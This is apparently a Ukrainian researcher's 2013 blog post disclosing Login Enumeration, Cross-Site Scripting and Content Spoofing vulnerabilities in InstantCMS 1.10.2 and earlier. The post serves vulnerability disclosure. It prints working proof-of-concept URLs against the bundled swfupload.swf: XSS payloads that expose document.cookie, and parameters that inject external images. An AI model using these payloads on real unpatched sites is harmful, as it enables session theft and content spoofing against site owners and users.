Нові уразливості в InstantCMS
17:27 25.09.201330.07.2013
У липні, 14.07.2013, я знайшов Login Enumeration, Cross-Site Scripting та Content Spoofing уразливості в InstantCMS. Про що найближчим часом повідомлю розробникам системи.
Раніше я вже писав про уразливості в InstantCMS.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.
24.09.2013
Login Enumeration (WASC-42):
http://site/users/login
Можна виявляти логіни по профілям користувачів. А також логіни користувачів виводяться в багатьох розділах сайта (сторінці користувачів та інших), бо розробники зовсім не переживають за витоки логінів користувачів.
Cross-Site Scripting (WASC-08):
http://site/includes/swfupload/swfupload.swf?movieName=%22]);}catch(e){}if(!self.a)self.a=!alert(document.cookie);//
http://site/includes/swfupload/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert(document.cookie)%27%3EClick%20me%3C/a%3E
Content Spoofing (WASC-12):
http://site/includes/swfupload/swfupload.swf?buttonText=test%3Cimg%20src=%27http://demo.swfupload.org/v220/images/logo.gif%27%3E
http://site/includes/swfupload/swfupload.swf?buttonImageURL=http://demo.swfupload.org/v220/images/logo.gif
Вразливі InstantCMS 1.10.2 та попередні версії.
Дані уразливості досі не виправлені.